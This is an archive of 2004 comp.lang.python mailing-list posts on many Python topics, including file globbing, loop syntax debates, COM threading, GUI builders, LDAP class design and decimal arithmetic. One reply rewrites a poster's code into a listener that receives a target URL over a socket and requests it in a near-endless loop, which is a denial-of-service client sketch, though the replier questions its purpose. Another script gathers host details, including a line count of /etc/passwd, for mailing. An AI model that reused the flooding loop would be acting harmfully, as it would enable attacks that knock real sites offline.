/  "Better the pride that resides in a citizen of the world;
\   than the pride that divides
/                     when a colorful rag is unfurled."


From jcarlson at nospam.uci.edu  Sat Feb 28 23:11:00 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 28 Feb 2004 20:11:00 -0800
Subject: Python:Email and Header Parsing: Some Help
In-Reply-To: <qnkvfltsemw.fsf@arbutus.physics.mcmaster.ca>
References: <mailman.149.1077785503.8594.python-list@python.org>
	<qnkvfltsemw.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <c1rotn$sq6$1@news.service.uci.edu>

> HTMLGen won't work, as that generates HTML (hence the name...). To
> strip out the HTML tags, probably a regular expression would be
> sufficient. Otherwise, have a look at HTMLParser (in the standard library).

To strip out html, use sgml:
http://flangy.com/dev/python/striphtml.html

  - Josiah


From yuba at cyberback.com  Mon Feb 16 13:28:08 2004
From: yuba at cyberback.com (Greg Lindstrom)
Date: 16 Feb 2004 10:28:08 -0800
Subject: Python and MS Exchange
References: <mailman.12.1076608969.698.python-list@python.org>
	<c0gt44$o7j$1@arachne.labyrinth.net.au>
	<68fec02e.0402130818.48132268@posting.google.com>
	<c0jgfe$1acp$1@arachne.labyrinth.net.au>
Message-ID: <68fec02e.0402161028.2c90010@posting.google.com>

Mark (and others), 

Thanks for your time and attention.  Since I expect to eventually want
to do all sorts of things with this application, I think it's best to
use MAPI (and not simple MAPI).  I have the SpamBayes MAPIDriver (and
everything else out of the "sandbox") and have stepped through it
enough to figure most of it out.  When I run "dump_profiles.py", I get
the "MS Exchange Settings" (as I expected).  When I run the
"dump_props.py" it complains that "FalseGetAllItems" is not defined. 
Humph.  When I attempt the "extract_prop.py -p Subject test" it
complains about not being able to find a default message store.

I have read through a lot of the MSDN Docum


From wfolta at netmail.to  Tue Feb 17 15:19:26 2004
From: wfolta at netmail.to (Wayne Folta)
Date: Tue, 17 Feb 2004 15:19:26 -0500
Subject: PEP-315 ("do" loop)
In-Reply-To: <4032385D.6030003@prescod.net>
References: <0F705920-60F0-11D8-BE5B-000A959CB2EC@netmail.to>
	<4032385D.6030003@prescod.net>
Message-ID: <95785602-6186-11D8-BE5B-000A959CB2EC@netmail.to>

> until x <==> while not x

That was one thought that crossed my mind when I first saw an until 
construct in a language. (Was it PL/I?) So it is a bit of a confusion, 
but at the same time my spider senses were telling me that surely a 
language wouldn't reserve a keyword "until" to simply save someone from 
typing "while not". (Of course, a language like perl might well do 
this, but that's why we use python, eh?)

While it might be easy to confuse how "until" acts, it has the strength 
that it follows the intuitive loop paradigm we're used to in all other 
looping constructs that I know of: what loops is inside the loop. 
Python has "else" extensions to loops that are different from most 
languages, but even here the "else" part does not loop.

PEP-315 creates a different kind of two-part loop where code outside of 
the "while" is repeatedly executed. That will fool people who are used 
to the usual one-part loops. You can claim it's actually a "do" loop, 
but with the condition in the middle of the loop, that doesn't really 
hold water.

At the very least I'd say that you need to choose a word other than 
"while" to avoid this kind of confusion. For example, "do ... until 
..." loop where "until" <==> "while not" so that you know immediately 
what's going on. Otherwise, when you see a "while", you're never sure 
what kind of loop it is until you look above it and determine it's not 
a "do while".
>

> Nothing about the word "until" implies to me that it delays the loop 
> test on the first go-round. PEP 315's syntax seems more clear to me.

Nothing about "do" implies "do repeatedly". My first guess on what the 
PEP-315 syntax means, based on python's "while ... else" syntax, would 
be that the "do" part is executed and then the while loop is executed 
conditional on the "do" having not been broken out of: the inverse of 
"while ... else".




From miki.tebeka at zoran.com  Wed Feb  4 06:37:44 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 4 Feb 2004 03:37:44 -0800
Subject: Reading files with names dynamically changing
References: <mailman.1184.1075873344.12720.python-list@python.org>
Message-ID: <4f0a9fdb.0402040337.1a60183c@posting.google.com>

Hello Satish,
> An external solver program is dynamically producing files with different
> names 0000001.dat, 0000002.dat, 0000003.dat etc.....at regular intervals.
> These files contain all numeric data. Is it possible to read each of these
> dynamically in python ??
What do you mean?
If you want to find all *.dat file use the `glob' module.

> If so, how should my code look like ?? 
#!/usr/bin/env python

from glob import glob
from os.path import getmtime

files = glob("./*.dat") # Find all files ending with .dat in current directory
# Sort by modification time, newest first
files.sort(lambda f1, f2: cmp(getmtime(f2), getmtime(f1)))
# Do something with the files
for file in files:
    print file

HTH.
Miki


From nospam-deets at web.de  Thu Feb  5 06:58:42 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Thu, 05 Feb 2004 12:58:42 +0100
Subject: a strange problem in python multi-thread programming
References: <mailman.1234.1075972673.12720.python-list@python.org>
Message-ID: <bvtb5o$1074el$1@ID-111250.news.uni-berlin.de>

> Today,I found a strange problem in python multi-thread programming.When I
> used function win32com.client.Dispatch('ADODB.Connection') in primary
> thread, it was OK. But when I called it in secondary-thread, it raised a
> exception. Then debugging and tracking the code, I found the problem was
> from the function pythoncom.CoCreateInstance(IDispatch, None, clsctx,
> pythoncom.IID_IDispatch) in . The parameters are (ADODB.Connection, None,
> 21, {00020400-0000-0000-C000-000000000046}). But just as I said above,
> this function would be ok in primaray thread mode but not work in the
> secondary-thread mode. Since this function is from the dll(in my computer
> is python23.dll), I can not see the source code and don't know how to
> solve this problem. Anyone can help me?

It has been years since I dealed with COM the last time - so I'm sort of on
the speculative side here. However I remember that there were different
com-server-models your com-objects could support. They dealt with
in/out-processes and threading. So might it be that your ADODB.Connection
is not supposed to be called in a multi-threaded environment? 

--
Regards,

Diez B. Roggisch


From OlafMeding at noSpam.compuserve.com  Mon Feb  2 21:48:29 2004
From: OlafMeding at noSpam.compuserve.com (Olaf Meding)
Date: Mon, 2 Feb 2004 20:48:29 -0600
Subject: javadoc for python
Message-ID: <401f0ace$1_1@newspeer2.tds.net>

I played a little with happydoc and pydoc and wonder which one I should use.

Also, is there a better documentation general available (I am spoiled by
javadoc).

Lastly, I could not find good documentation for either happydoc or pydoc.
Thanks.


Olaf




From paul at prescod.net  Sun Feb  8 14:43:55 2004
From: paul at prescod.net (Paul Prescod)
Date: Sun, 08 Feb 2004 11:43:55 -0800
Subject: Had Phyton suggested
In-Reply-To: <c05k7b$ndl$1@news.freedom2surf.net>
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
	<c05k7b$ndl$1@news.freedom2surf.net>
Message-ID: <4026917B.8030405@prescod.net>

Steve Horsley wrote:

>...
> 
> At the risk of making a lot of python fans angry, I would also suggest 
> that you look at java.  This IS a compiled language (although ironically,
> the compiled bytecode is interpreted). 

Python and Java both compile to byte-code. The only difference is that 
Python does it automatically whereas Java requires you to compile manually.

I suggest this for a few reasons:
> * You cannot really avoid thinking in an object-oriented way when 
> writing java. I suspect that python will allow you to develop some very 
> nasyt habits.

I disagree that the opposite of object orientation is "nasty habits." 
Forcing every problem into an object oriented paradigm is itself a nasty 
  (and ultimately confusing) habit.

> * The java tutorial is massive, and has loads of examples.

Is it more massive than these:

	* http://www.ibiblio.org/obp/thinkCSpy/
	* http://diveintopython.org/
	* http://www.mindview.net/Books/TIPython
	* http://www.python.org/doc/current/tut/tut.html
	* http://honors.montana.edu/~jjc/easytut/easytut/

And this one is specifically about game programming:

	* http://pygame.org/docs/tut/chimp/ChimpLineByLine.html

> * I have not seen anything like BlueJ for python. BlueJ is an excellent 
> beginners IDE with editor, debugger, and a UML-like diagram that shows 
> how your classes interconnect.

I haven't tried BlueJ so I can't compare but I don't think an IDE could 
make up for Java's flaws as a learning language. "Hello world" in Java 
is 7 lines compared to 1 in Python. The Python version has just two 
concepts: printing and strings. The Java version brings in three 
keywords (class, public, static) a module, an object, a function, two 
types, etc.

> Better, learn a little of both languages.

Can't disagree with that. Learn Python. Learn Pygame. Write your game. 
Then learn Java to have something good to put on your resume.

  Paul Prescod





From steve at ferg.org  Fri Feb 27 10:50:39 2004
From: steve at ferg.org (Stephen Ferg)
Date: 27 Feb 2004 07:50:39 -0800
Subject: Python: GUI Builder
References: <mailman.144.1077773598.8594.python-list@python.org>
Message-ID: <b16e4ef7.0402270750.243fe8be@posting.google.com>

Look at:
http://www.ferg.org/easygui


From peter at engcorp.com  Tue Feb 10 11:27:29 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 10 Feb 2004 11:27:29 -0500
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu>
	<mailman.1402.1076396710.12720.python-list@python.org>
	<c0an8o$g7i$1@solaris.cc.vt.edu>
Message-ID: <40290671.7A5864CA@engcorp.com>

Bart Nessux wrote:
> 
> fp0 = os.popen("/sbin/ifconfig en0 inet", "r")
> fp1 = os.popen("/usr/bin/uptime", "r")
> fp2 = os.popen("/usr/bin/uname -a", "r")
> fp3 = os.popen("/usr/bin/wc -l /etc/passwd", "r")
> msg = MIMEText("-- IFCONFIG --\n\n" + fp0.read() + "\n-- UPTIME --\n\n"
> +  fp1.read() + "\n-- UNAME --\n\n" + fp2.read() + "\n-- PASSWD LC
> --\n\n" + fp3.read())
> fp0.close()
> fp1.close()
> fp2.close()
> fp3.close()

This sequence has duplication, so it could stand some refactoring.  Write
a routine that executes a command and returns the result, then call it
with various commands, something like this:

def cmd(c):
    f = os.popen(c, 'r')
    try:
        result = f.read()
    finally:
        f.close()
    return result

responses = [cmd(c) for c in
    ['/sbin/ifconfig en0 inet', '/usr/bin/uptime', '/usr/bin/uname -a',
     '/usb/bin/wc -l /etc/passwd']]

msg = MIMEText('blah %s, blah %s, blah %s, blah %s' % responses)

That's only one example of what you could do to simplify/make reusable
code.

The best thing I know of to decide when to make a function is when you have
code that is about to take responsibility for two different things.  Your
code has responsibility for setting up user info, retrieving command output,
execute four commands, generating the mail body from the results, 
setting up the entire mail message, and sending the mail message.  That's
six different areas of responsibility (give or take) and there should
probably be at least three or four functions in there to handle some
of those in a cleaner fashion.

Always ask yourself "what is this chunk of code responsible for?"  If
the answer is more than one thing, consider splitting it up.  This is,
by the way, effectively the concept of "cohesion", and you would do well
to learn about "cohesion" and "coupling".  You always strive for low
coupling (connections between different things) and high cohesion 
(responsibility for only closely related things) in code, if you 
want clean design.

-Peter


From pekka.niiranen at wlanmail.com  Tue Feb 10 02:18:38 2004
From: pekka.niiranen at wlanmail.com (pekka.niiranen)
Date: Tue, 10 Feb 2004 07:18:38 GMT
Subject: Newbie questions: symbolic links and hashable items
Message-ID: <iB%Vb.26$vM1.22@read3.inet.fi>

Hi everybody,

1) I am accessing HP-UX partition thru Samba mount.
My problem is: Using shutil.copy() copies symbolic links
because os.path.islink() does not recognize those as links.
How can I make Python running in W2K recognize
symbolic links from Samba -mount?

2) How can I check whether a value is hashable?
The code below works but for going thru set of values
it seems bit odd.

# x is hashable ?
u = {}
try:
   u[x] = ''
except TypeError:

	
3) Can filenames in any operating system, all Unicode objects and all 
strings be assumed as hashable? I would like to use them as dictionary keys.

-pekka-


From pantsmetalkid at charter.net  Sat Feb 21 00:16:37 2004
From: pantsmetalkid at charter.net (John)
Date: Sat, 21 Feb 2004 00:16:37 -0500
Subject: New user needs help
Message-ID: <103dqa9m48nj792@corp.supernews.com>

I am new to using Python. Everytime I run this program it prints "The lowest
common factor is 0", no matter what numbers I use. Can anybody see anything
wrong with my program? Thanks in advance.



def getnum1(a):
    a = input("What is the first number?")
    if a == 0:
        getnum1(a)
def getnum2(b):
    b = input("What is the second number?")
    if b == 0:
        getnum2(b)
def euclid(num1, num2, num3, num4):
    if num1 < num2:
        num3, num4 = num1, num2
        num1, num2 = num4, num3
        euclid(num1, num2, num3, num4)
    elif num2 != 0:
        num3, num4 = num1, num2
        num1 = num4
        num2 = num3 % num4
        euclid(num1, num2, num3, num4)
    else:
        print "The lowest common factor is: ", num1
a = 0
getnum1(a)
b = 0
getnum2(b)
x, y = 2, 100
euclid(a, b, x, y)




From nobody at nowhere.near.org  Thu Feb 26 06:05:41 2004
From: nobody at nowhere.near.org (nobody)
Date: Thu, 26 Feb 2004 11:05:41 -0000
Subject: Python: GUI Builder
References: <mailman.144.1077773598.8594.python-list@python.org>
Message-ID: <403dd304$0$17076$cc9e4d1f@news.dial.pipex.com>

You could try BOA Constructor, it is Delphi like. It needs wxPython
(wxWindows python binding) installed first. The Google will spit the correct
URLs.


"Anand K Rayudu" <anand at easi.soft.net> wrote in message
news:mailman.144.1077773598.8594.python-list at python.org...
> Hi All,
>
> I am new to python & want to build some GUI dialogs.
> Can some one please suggest some document reference.
>
> I am hoping that standard python install will have some GUI development
> modules & GUI builder in built.
> I have python 2.3.3.
>
> Can some one please suggest
>
> Thanks in advance.
>
>
> Anand
>
>
>
>
>




From dippy at mikka.net.au  Sun Feb  8 00:02:14 2004
From: dippy at mikka.net.au (Steven)
Date: Sun, 08 Feb 2004 05:02:14 GMT
Subject: passing what a function returns to another function
References: <c03uh1$6ut$1@solaris.cc.vt.edu>
Message-ID: <pan.2004.02.08.16.07.24.719493.12811@mikka.net.au>

On Sun, 08 Feb 2004 11:06:00 +1100, Bart Nessux wrote:

> I have 2 functions among others. One gets a URL and returns its, For
> example, it returns 'http://127.0.0.1' How can I pass this to another
> function? I've never worked with code that has lots of functions before.

Either store the function result in an intermediate variable, or just call
the second function directly on the result of the first:

# method 1: using an intermediate variable 
my_url = receive_target()
receive_commands(my_url)

# method 2: call one function directly on the result of the other
receive_command(receive_target())

Please note, the way you have written these two functions, I don't believe
either method will work. In particular, receive_commands() doesn't take
any arguments, so you have no way to pass it an argument :-)

Also, receive_target appears to be using a lot of global variables, which
is probably not a good idea. If you have to use globals, it is recommended
that you declare them that way first, even if you don't strictly need to.

I would try something like this:

# WARNING: untested code, almost certainly won't work

def receive_targets_url(I):
    # This receives the DDOS target's URL... 
    # Input: socket I
    # Output: string URL

    # I hope DDOS doesn't stand for Distributed Denial of Service

    global DDOS_ZOMBIE_IP, U_PORT
    # by convention, constants are in ALL UPPERCASE

    I.bind((DDOS_ZOMBIE_IP, U_PORT))
    I.listen(5)
    conn, addr  = I.accept()
    ddos_target = conn.recv(1024)
    conn.close()
    return ddos_target
 
def receive_commands(url):
    # This receives commands ...
    # Input: url is a string containing the URL to use
    # Output: none

    for i in xrange(999999999):
        # hmmm, this looks like a Denial of Service attack to me...
        # haven't you got something better to do with your time, 
        # like maybe writing a natural language parser or something
        # useful and challenging?
        f = urlopen(url)


-- 
Steven D'Aprano


From grahamd at dscpl.com.au  Tue Feb 10 19:42:57 2004
From: grahamd at dscpl.com.au (Graham Dumpleton)
Date: 10 Feb 2004 16:42:57 -0800
Subject: synchronized method
References: <c0a1mt$v79$1@hyppo.gu.net>
	<dc6f5c99.0402100332.2fe33c25@posting.google.com>
	<40290916.ECCDE661@engcorp.com>
Message-ID: <dc6f5c99.0402101642.13a93820@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<40290916.ECCDE661 at engcorp.com>...
> > Under normal execution the lock will not be released because you return
> > from the try clause. There is also the case that method isn't defined.
> 
> If that were true, the finally clause would be pretty useless in many
> cases.  (Try it out yourself: it will work properly.)
> 
> Also, isn't "method" defined as the argument to the synchronized()
> function at the top?

Hmmm, I stand corrected on both counts. It was one of the days I should
have kept my mouth shut. Too stinking hot here at the moment, my brain
isn't working. :-)


From bblochl2 at compuserve.de  Mon Feb 23 07:29:22 2004
From: bblochl2 at compuserve.de (bblochl)
Date: Mon, 23 Feb 2004 13:29:22 +0100
Subject: Typecasting
Message-ID: <4039F222.70708@compuserve.de>

Hi Everybody,

Can you guide me to convert string into Int datatype?
(i.e. How can we convert string into int? like '555' into 555)

Thanks in advance.

~Rajesh


One possible answer:
Simply use int(). For insdtance:
>>> x="555"
>>> x
'555'
>>> x=int(x)
>>> x
555
Or an application to convert a string input:
>>> x=int(raw_input("Type a number: "))
>>> x
555





From ods at strana.ru  Thu Feb 19 04:45:28 2004
From: ods at strana.ru (Denis S. Otkidach)
Date: Thu, 19 Feb 2004 12:45:28 +0300 (MSK)
Subject: codecs limitation
In-Reply-To: <OaCdnVGMcMQEEK7dRVn-jA@speakeasy.net>
Message-ID: <Pine.LNX.4.44L.0402191234580.13786-100000@ods.pravda.rfn.ru>

On Wed, 18 Feb 2004, A.M. Kuchling wrote:

AK> > I have the same question as stated in comments: should we
AK> really
AK> > enforce this and forget the idea to define some
AK> specialized
AK> > encodings like 'html'?
AK>
AK> I suppose it depends on what the codecs system is *for*.  If
AK> it's an
AK> interface that goes between between the abstract world of
AK> Unicode code
AK> points and the concrete world of 8-bit characters that
AK> represent those code
AK> points, then the idea of returning anything but an 8-bit
AK> string from
AK> .encode() doesn't make sense.  If codecs are for arbitrary

This restrition doesn't apply to decode, so we already have
codecs like 'base64', 'quoted-printable', 'uu', 'zlib'.  In case
of 'html' encoding we should be able to apply it to unicode too,
in this case the result must be unicode.  I can't see why this
restriction is partially applied and allows str<->str cobversion,
but forbidds unicode<->unicode?  Certainly, both 'base64' et al.
and 'html' can be implemented as standalone functions.

AK> string-to-string
AK> transformations, then the restriction should be relaxed.

-- 
Denis S. Otkidach
http://www.python.ru/      [ru]




From rawbobb at hotmail.com  Sat Feb 28 22:56:31 2004
From: rawbobb at hotmail.com (bobb)
Date: Sun, 29 Feb 2004 03:56:31 GMT
Subject: MySQLDB - generating "...not in (1,2,3)" from Python list ?
References: <282f826a.0402230152.253315ca@posting.google.com>
	<282f826a.0402260128.4400d7d9@posting.google.com>
Message-ID: <Ppd0c.8504$TF2.1220@nwrdny02.gnilink.net>


"Richard Shea" <richardshea at fastmail.fm> wrote in message
news:282f826a.0402260128.4400d7d9 at posting.google.com...
> Hi - I'm sorry I haven't responded before I got a cold earlier this
> week and it's kind of knocked me sideways. Reading the replies I
> realised I had done something fundamentally wrong and I was able to
> use them as a basis for getting it to work correctly so thanks very
> much to all of you for your help.
>
> There is one thing about the whole business which I find a bit
> difficult - it would be nice if after you have executed the query you
> were able to actually view the query (with substituted parameters) as
> a string to ensure that your query was what it thought it was. I
> understand that mySQLdb is really a wrapper around the C API for
> MySQL. I've taken a look at that and I can't find anything like what
> I'm describing but if any of you guys do know of such a feature it
> would be useful in future to know - one of the reaons I was having
> problems this time was fully appreciating just what the query was I
> was submitting.
>
Like this?

 print "delete from " + str(t) + " where " + str(col) + " = " +str(num) +
";"
delete from table where id = 1;
???

> I should just say before you think I'm nuts that the 'real' query was
> a good deal more complex (and had more substituted parameters) than
> the simple one which I created to ask the question I did.
>
> Anyway thanks again for all your help.
>
> regards
>
> richard shea.




From usenet_spam at janc.invalid  Fri Feb  6 08:10:42 2004
From: usenet_spam at janc.invalid (JanC)
Date: Fri, 06 Feb 2004 13:10:42 GMT
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net> <Xns9486E9AD26AFEJanC@213.119.4.35>
	<isik8w50.fsf@python.net>
Message-ID: <Xns9487903AB1974JanC@213.119.4.35>

Thomas Heller <theller at python.net> schreef:

> JanC <usenet_spam at janc.invalid> writes:
> 
>> Thomas Heller <theller at python.net> schreef:
>>
>>> But I was very astonished to see that no other mail/news client I
>>> have examined allows customizing the From: address depending on the
>>> folder or group you are currently in.  Can that really be true?
>>
>> You never looked at Xnews ?   :-)
> 
> No, I need imap as well as nntp.

Why not use a dedicated client for each?


BTW: you can read IMAP & POP3 mailboxes with Xnews + Hamster AFAIK.

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From peter.maas at mplusr.de  Tue Feb 17 13:29:40 2004
From: peter.maas at mplusr.de (Peter Maas)
Date: Tue, 17 Feb 2004 19:29:40 +0100
Subject: Viewing Directories as tree
In-Reply-To: <mailman.37.1076876228.31398.python-list@python.org>
References: <402ED475.6030601@prescod.net>
	<mailman.37.1076876228.31398.python-list@python.org>
Message-ID: <c0tmhr$9q3$1@swifty.westend.com>

Jalil Feghhi wrote:

> 
> I am looking for some python code that I can plug-into my web 
> application to display file system heirarchies
> using a tree structure. I have seem some  libraries that do this but 
> only as a standalone application.
> 
> Is there anything that can be used in a browser?

The following recipe displays a directory tree in ASCII. I suppose it
can be easily modified for HTML.

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/217212

Mit freundlichen Gruessen,

Peter Maas

-- 
-------------------------------------------------------------------
Peter Maas, M+R Infosysteme, D-52070 Aachen, Hubert-Wienen-Str. 24
Tel +49-241-93878-0 Fax +49-241-93878-20 eMail peter.maas at mplusr.de
-------------------------------------------------------------------


From jcarlson at nospam.uci.edu  Wed Feb  4 16:31:32 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 04 Feb 2004 13:31:32 -0800
Subject: Newbie -- bitwise shifts
In-Reply-To: <de91eac3.0402041324.1c5e911f@posting.google.com>
References: <de91eac3.0402041324.1c5e911f@posting.google.com>
Message-ID: <bvrofu$36v$1@news.service.uci.edu>

gbblob wrote:

> Can someone please explain to me why left shits are equivalent to
> multiplication and right shifts equivalent to devision?  This seems
> backwards to me.
> 
> e.g.
> 
> 15 is binary 1111
> if I shift this left 2 bits I get 11
> 
> however in Python 15<<2 = 60 ?!

In computer science, shifting a number 'k' bits to the left, is the same 
as adding 'k' zeroes to the right side.  Shifting a number 'j' bits to 
the right, is the same as removing 'j' digits from the right side.

15<<2 == 15 *  2**2
15>>2 == 15 // 2**2

This has been the way of things since at least the 1950's.

  - Josiah


From tismer at stackless.com  Tue Feb 24 22:07:05 2004
From: tismer at stackless.com (Christian Tismer)
Date: Wed, 25 Feb 2004 04:07:05 +0100
Subject: xmlprclib/server not reusing connections
In-Reply-To: <007601c3fb46$f917b9b0$3501a8c0@rogersqyvr14d3>
References: <spv8g1-fev.ln1@home.rogerbinns.com><mailman.6.1077573113.8594.python-list@python.org><nfgqg1-gh4.ln1@home.rogerbinns.com>	<mailman.24.1077596109.8594.python-list@python.org>
	<tn5rg1-986.ln1@home.rogerbinns.com>
	<403BF010.2020409@stackless.com>
	<007601c3fb46$f917b9b0$3501a8c0@rogersqyvr14d3>
Message-ID: <403C1159.8090806@stackless.com>

Roger Binns wrote:

>>This is why I developed Stackless Python.
>>It behaves in a similar way, acting like many callbacks,
>>but you *write* your code in the most natural way possible.
>>In a way, Stackless takes all the clumsy state keeping stuff
>>away from the programmer and frees his mind to write simple
>>top-down programs with no callbacks.
> 
> I certainly agree with that and really like your examples.
> 
> However my code also has to use wxPython, win32all, pySerial, M2Crypto
> and libusb.  I have no idea if all those are integrated correctly with 
> Stackless (and work correctly on Linux, Windows and Mac), but I was
> certainly not going to be the first person to find out.  And I would
> still have to have fixed xmlrpc client/server portions to reuse
> connections properly anyway.

Sure. Some of my experience:
(yes, I'm using Stackless since a year now :-)

It works just *great* with wxPython. There are a few objects
which need a little care since they only live on the C stack
(mouse events for instance), but all in all it is wonderful
to use wxPython + Stackless (+ Boa Constructor + PIL + ...).
I have multiple dynamic widgets with animated graphical
content in my GUI, it is all running in a single thread,
and all my tasklets can update the GUI at any time, since
it is a single thread...

Let me know if you need sample code. Like a mouse handler,
written like a single, main program. No callbacks...

ciao - chris

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  mobile +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From markus_wankusGETRIDOFALLCAPS at hotmail.com  Sun Feb 29 16:12:36 2004
From: markus_wankusGETRIDOFALLCAPS at hotmail.com (Markus Wankus)
Date: Sun, 29 Feb 2004 16:12:36 -0500
Subject: Limitations of 30 Day Eval?
In-Reply-To: <c1tkc5$f3n$4@atlantis.news.tpi.pl>
References: <LUq0c.1368$i_2.9683@news20.bellglobal.com>
	<rVq0c.1369$i_2.9706@news20.bellglobal.com>
	<c1tkc5$f3n$4@atlantis.news.tpi.pl>
Message-ID: <7Bs0c.1389$i_2.12581@news20.bellglobal.com>

Jarek Zgoda wrote:

> Markus Wankus <markus_wankusGETRIDOFALLCAPS at hotmail.com> pisze:
> 
> 
>>Dumbass...sorry - wrong newsgroup.  Damn this new newsreader!
> 
> 
> Use slrn. With ^C you could cancel this message.
> 

I just started using Thunderbird...and it has a cancel feature too. 
Whaddya know? ;o)

Markus.


From teiffel at attglobal.net  Fri Feb 27 16:12:13 2004
From: teiffel at attglobal.net (Marcello Pietrobon)
Date: Fri, 27 Feb 2004 16:12:13 -0500
Subject: comp.lang.python
In-Reply-To: <c1o86h$po9$1@sea.gmane.org>
References: <403FA011.3030600@attglobal.net> <c1o86h$po9$1@sea.gmane.org>
Message-ID: <403FB2AD.3060005@attglobal.net>

Terry Reedy wrote:

>"Marcello Pietrobon" <teiffel at attglobal.net> wrote in message
>news:403FA011.3030600 at attglobal.net...
>  
>
>>Is the server comp.lang.python working or not ?
>>
>>If yes,
>>what settings do I need in order to see this mailing list in newsgroup
>>form ?
>>    
>>
>
>I am not sure what you are asking.  The c.l.p newsgroup should be carried
>on any general-purpose news server.  The mailing list version is also gated
>to newsgroup form (along with numerous otherwise non-newsgroup lists) at
>news.gmane.org (access is free).
>
>Terry J. Reedy
>
>
>
>
>  
>

I use Mozilla 1.6 and from the link to

comp.lang.python
that you can see in
http://www.python.org/community/lists.html

I am not able to subscribe to the Newsgroup while I am able to do it for any other.
I cannot do it even manually

Maybe I don't have the right informations

Cheers,
Marcello







From __peter__ at web.de  Wed Feb 18 08:12:12 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 18 Feb 2004 14:12:12 +0100
Subject: hmm, lets call it: generic __init__  problem
References: <c0u0fa$1asj0f$1@ID-131134.news.uni-berlin.de>
	<c0vbhm$slt$01$1@news.t-online.com>
	<c0vilm$1bt8u6$1@ID-131134.news.uni-berlin.de>
Message-ID: <c0vobd$rrq$03$1@news.t-online.com>

paul k?lle wrote:

> To be honest, it is a "real world" (if there is any) task. The funClass
> thing was just to isolate the problem. I'm writing an LDAP client and
> the data model is made up of ObjectClasses which in turn have required
> and optional attributes. ObjectClasses can inherit attributes from
> "superior" ObjectClasses and the actual dataset (entry) may consist of
> multiple ObjectClasses, collecting all their attributes.
> 
> I thought it would be a good idea to mimic that with classes in the
> client code by naming the classes like the ObjectClasses and get the
> required and allowed attributes of the instance from the server in
> __init__ like:
> r = self.schema.get_obj(ldap.schema.ObjectClass,\ self.__class__.__name__)
> ...process r...
> 
> This has to be done for every parent and the whole point was *not* to
> write another __init__ for each subclass. So the question boils down to:
> 
> 1) Do I have to call Super.__init__ explicitely in: Child(Super)'s
> __init__ method  ?

Yes. (But there's a workaround, see below)
 
> 2) If 1): Since I do not want to write a new __init__ for every possible
> subclass, how do I call Super.__init__ if I do not know Super's name?

super() comes to the rescue. If you follow c.l.py you'll notice that there
are pitfalls, though. http://www.python.org/2.2/descrintro.html#cooperation
might be useful. 

>>> def makeClass(attributes):
...     class A(object):
...             def __init__(self, **kw):
...                     super(A, self).__init__(**kw) # this does the magic
...                     for a in attributes:
...                             setattr(self, a, kw.get(a, ""))
...     return A
...
>>> A = makeClass("abc") # use a list of attribute names in real code
>>> B = makeClass("xyz")
>>> class C(A,B):
...     pass
...
>>> c = C(**dict(zip("abklxy", range(6))))
>>> c.a # initialized by keyword arg
0
>>> c.c # set to default value
''
>>> c.k # silently ignored
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
AttributeError: 'C' object has no attribute 'k'
>>>

The makeClass() factory is not strictly needed. Just remember to derive
every base class from object and call

super(CurrentClass, self).__init__() 

in its __init() method.


Peter



From cookedm+news at physics.mcmaster.ca  Wed Feb  4 14:52:42 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Wed, 04 Feb 2004 14:52:42 -0500
Subject: PEP 327: Decimal Data Type
References: <mailman.1131.1075733260.12720.python-list@python.org>
	<qnkr7xdceyv.fsf@arbutus.physics.mcmaster.ca>
	<apd020l6ri1sq9rhk87d2c0trcg4rnoi8m@4ax.com>
Message-ID: <qnkd68ud3lh.fsf@arbutus.physics.mcmaster.ca>

At some point, Stephen Horne <steve at ninereeds.fsnet.co.uk> wrote:

> On Mon, 02 Feb 2004 17:07:52 -0500, cookedm+news at physics.mcmaster.ca
> (David M. Cooke) wrote:
>
>>At some point, "Batista, Facundo" <FBatista at uniFON.com.ar> wrote:
>>
>>> danb_83 wrote: 
>>>
>>> #- On the other hand, when I say that I am 1.80 m tall, it doesn't imply
>>> #- that humans height comes in discrete packets of 0.01 m.  It 
>>> #- means that
>>> #- I'm *somewhere* between 1.795 and 1.805 m tall, depending on my
>>> #- posture and the time of day, and "1.80" is just a convenient
>>> #- approximation.  And it wouldn't be inaccurate to express my height as
>>> #- 0x1.CC (=1.796875) or (base 12) 1.97 (=1.7986111...) meters, because
>>> #- these are within the tolerance of the measurement.  So number base
>>> #- doesn't matter here.
>>>
>>> Are you saying that it's ok to store your number imprecisely because you
>>> don't take well measures?
>>
>>What we need for this is an interval type. 1.80 m shouldn't be stored
>>as '1.80', but as '1.80 +/- 0.005', and operations such as addition
>>and multiplication should propogate the intervals.
>
> I disagree with this, not because it is a bad idea to keep track of
> precision, but because this should not be a part of the float type or
> of basic arithmetic operations.
>

I was being a bit facetious :-) This is certainly something that can
be done without being builtin, like this:
http://pedro.dnp.fmph.uniba.sk/~stanys/Uncertainities.py

> Having an approximate representation with an interval sounds good, but
> remember that one error source is the arithmetic itself - e.g. 1.0 /
> 3.0 cannot be finitely represented in either binary or decimal without
> error (except as a rational, of course).

Hey, if my measurement error is so small that arithmetic error becomes
significant, I'm happy.

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
